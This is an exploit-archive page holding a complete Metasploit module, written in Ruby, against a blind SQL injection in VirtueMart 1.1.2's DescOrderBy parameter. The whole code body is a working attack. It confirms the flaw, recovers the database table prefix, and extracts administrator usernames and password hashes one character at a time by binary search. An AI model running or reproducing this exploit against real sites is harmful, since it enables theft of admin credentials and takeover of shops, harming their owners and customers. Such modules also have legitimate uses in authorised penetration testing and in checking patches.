VirtueMart 1.1.2 - SQL Injection (Metasploit)



EKU-ID: 16141 CVE: OSVDB-ID:
Author: waraxe Published: 2009-03-31 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
			'Description'    => %q{
					This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
			},
			'Author'         => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>',
			'License'        => MSF_LICENSE,
			'Version'        => '1.0',
			'References'     =>
				[
					['BID', '33480'],
					['URL', 'http://www.waraxe.us/advisory-71.html'],
					['URL', 'http://secunia.com/advisories/33671/']
				],
			'DisclosureDate' => 'Jan 24 2009'))

			register_options(
				[
					OptString.new('URI', [false, 'Path to VirtueMart', '']),
					OptInt.new('TARGETID', [false, 'Target ID (optional)']),
					OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),
					OptBool.new('ALLSA', [ false,  'Fetch all Super Admins', true]),
					OptBool.new('ALLA', [ false,  'Fetch all Admins', false]),
					OptBool.new('ALLM', [ false,  'Fetch all Managers', false]),
				], self.class)

	end

	def run

		@marker = 'name="addtocart"'
		@target_uri = '/' + datastore['URI'] + '/'
		@target_uri = @target_uri.gsub(/\/{2,}/, '/')
		@target_id = datastore['TARGETID']
		@target_prefix = datastore['PREFIX']
		@requests = @fetched = 0
		time_start = Time.now.to_i

		# debug_level=2 - more debug messages, 1 - less
		@debug_level = 1

		if(!pre_test)
			print_error('Exploit failed in pre-test phase')
			return
		end

		if(datastore['ALLSA'])
			if(!get_users(1))
				print_error('Exploit failed fetching Super Admins')
				return
			end
		end

		if(datastore['ALLA'])
			if(!get_users(2))
				print_error('Exploit failed fetching Admins')
				return
			end
		end

		if(datastore['ALLM'])
			if(!get_users(3))
				print_error('Exploit failed fetching Managers')
				return
			end
		end

		if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))
			print_status('Target ID or group(s) not specified, fetching Super Admins as default')
			if(!get_users(1))
				print_error('Exploit failed fetching Super Admins')
				return
			end
		end

		if(@target_id > 1)
			if(!get_user())
				print_error("Exploit failed fetching user with ID=#{@target_id}")
				return
			end
		end

		time_spent = Time.now.to_i - time_start

		print_status("Exploitation results:")
		print_status("Got data for  #{@fetched} users")
		print_status("Total time spent: #{time_spent} seconds")
		print_status("HTTP requests needed: #{@requests}")

	end
	############################################################
	def make_post(post_data)

		timeout = 30

		begin

			res = send_request_cgi({
				'uri'     => @target_uri,
				'method'  => 'POST',
				'data'  => post_data,
			}, timeout)

			if(res and res.body)
				@requests += 1
				return res.body
			else
				print_error('No response from server')
				return nil
			end

		rescue ::Exception
			print_error("Error: #{$!.class} #{$!}")
			return nil
		end
	end
	############################################################
	def test_condition(condition)

		max_tries = 10

		post_data  = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"
		post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"

		1.upto(max_tries) do |i|

			buf = make_post(post_data)

			if(buf)
				return buf.include?(@marker)
			else
				print_status("Sleeping #{i} seconds")
				sleep(i)
				print_status("Awake, retry ##{i}")
			end
		end

		return nil
	end
	############################################################
	def pre_test

		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
		buf = make_post(post_data) or return false

		if(!buf.include?(@marker))
			print_error('Pre-test 1 failed - VirtueMart not detected')
			return false
		else
			print_status('Pre-test 1 passed - VirtueMart detected')
		end

		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'
		buf = make_post(post_data) or return false

		if(buf.include?(@marker))
			print_error('Pre-test 2 failed - target is patched?')
			return false
		else
			print_status('Pre-test 2 passed - injection detected')
		end

		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'
		buf = make_post(post_data) or return false

		if(!buf.include?(@marker))
			print_error('Pre-test 3 failed - subselects not supported?')
			return false
		else
			print_status('Pre-test 3 passed - subselects supported')
		end

		if(@target_prefix == '')
			print_status('Prefix not provided, trying to fetch')
			@target_prefix = get_prefix
			if(!@target_prefix)
				print_error('Prefix fetch failed')
				return false
			else
				print_status("Prefix fetched: #{@target_prefix}")
				return true
			end
		end

		post_data  = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +
			"(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"

		buf = make_post(post_data) or return false

		if(!buf.include?(@marker))
			print_error('Pre-test 4 failed - wrong prefix?')
			print_status('Trying to fetch valid prefix')
			@target_prefix = get_prefix
			if(!@target_prefix)
				print_error('Prefix fetch failed')
				return false
			else
				print_status("Prefix fetched: #{@target_prefix}")
				return true
			end
		else
			print_status('Pre-test 4 passed - prefix OK')
		end

		return true
	end
	############################################################
	def get_char(pattern, min, max)

		num = get_num(pattern, min, max) or return nil

		return num.chr

	end
	############################################################
	def get_hash(group = nil, u_pos = nil)

		hash = ''

		if(group and u_pos)
			pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
		else
			pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"
		end

		p_len = get_num(pattern, 32, 100) or return nil

		print_status("Got hash length: #{p_len.to_s}")

		1.upto(p_len) do |pos|
			print_status("Finding hash char pos #{pos}") if @debug_level > 0

			if(group and u_pos)
				pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
			else
				pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
			end

			c = get_char(pattern, 32, 128) or return nil

			hash << c
			print_status("Known: #{hash}") if @debug_level > 0

		end

		return hash

	end
	############################################################
	def get_prefix

		prefix = ''

		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' +
			'(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'
		buf = make_post(post_data) or return false

		if(!buf.include?(@marker))
			print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')
			return false
		else
			print_status('INFORMATION_SCHEMA detected, proceed')
		end

		pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +
			' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'

		p_len = get_num(pattern, 5, 100) or return nil
		p_len -= 10

		if(p_len < 0)
			print_error("Invalid prefix length: #{p_len.to_s}")
			return false
		elsif(p_len == 0)
			print_status('Prefix seems to be empty')
			@target_prefix = ''
			return true
		else
			print_status("Got prefix length: #{p_len.to_s}")
		end

		1.upto(p_len) do |pos|
			print_status("Finding prefix char pos #{pos}") if @debug_level > 0

			pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +
			" WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"

			c = get_char(pattern, 32, 128) or return nil

			prefix << c
			print_status("Known: #{prefix}") if @debug_level > 0

		end

		return prefix
	end
	############################################################
	def get_num(pattern, min = 1, max = 100)

		curr = 0;

		while(1)

			area = max - min
			if(area < 2 )
				post_data = "#{pattern}=#{max}"
				eq = test_condition(post_data)

				if(eq == nil)
					return nil
				elsif(eq)
					len = max
				else
					len = min
				end

				break
			end

			half = area / 2
			curr = min + half

			post_data = "#{pattern}>#{curr}"

			bigger = test_condition(post_data)

			if(bigger == nil)
				return nil
			elsif(bigger)
				min = curr
			else
				max = curr
			end

			print_status("Current: #{min}-#{max}") if @debug_level > 1

		end

		return len

	end
	############################################################
	def get_username(group = nil, u_pos = nil)

		username = ''

		if(group and u_pos)
			pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
		else
			pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"
		end

		u_len = get_num(pattern, 1, 150) or return nil

		print_status("Got username length: #{u_len.to_s}")

		1.upto(u_len) do |pos|
			print_status("Finding username char pos #{pos}") if @debug_level > 0

			if(group and u_pos)
				pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
			else
				pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
			end

			c = get_char(pattern, 32, 128) or return nil

			username << c
			print_status("Known: #{username}") if @debug_level > 0

		end

		return username

	end
	############################################################
	def get_users(group)

		if(group == 1)
			usertype = '0x53757065722041646d696e6973747261746f72'
			print_status('Starting to fetch all Super Admins')
		elsif(group == 2)
			usertype = '0x41646d696e6973747261746f72'
			print_status('Starting to fetch all Admins')
		else
			usertype = '0x4d616e61676572'
			print_status('Starting to fetch all Managers')
		end

		pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"

		u_cnt = get_num(pattern, 0, 100) or return nil

		print_status("Targets to fetch: #{u_cnt.to_s}")

		0.upto(u_cnt - 1) do |pos|

			print_status("Fetching user pos #{pos}")

			username = get_username(usertype, pos) or return nil
			hash = get_hash(usertype, pos) or return nil
			@fetched += 1

			print_status(
				"Got user data:" +
				"\n==============================\n" +
				"Username: #{username}\n" +
				"Hash: #{hash}" +
				"\n=============================="
			)

		end

		return true
	end
	############################################################
	def get_user

		print_status("Testing user ID=#{@target_id}")
		pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"
		u_cnt = get_num(pattern, 0, 100) or return nil

		if(u_cnt != 1)
			print_error("No user with ID=#{@target_id}")
			return true
		end

		print_status("Working with user ID=#{@target_id}")

		username = get_username or return nil
		hash = get_hash or return nil
		@fetched += 1

		print_status(
			"Got user data:" +
			"\n==============================\n" +
			"Username: #{username}\n" +
			"Hash: #{hash}" +
			"\n=============================="
		)

		return true
	end
	############################################################
end

# milw0rm.com [2009-03-31]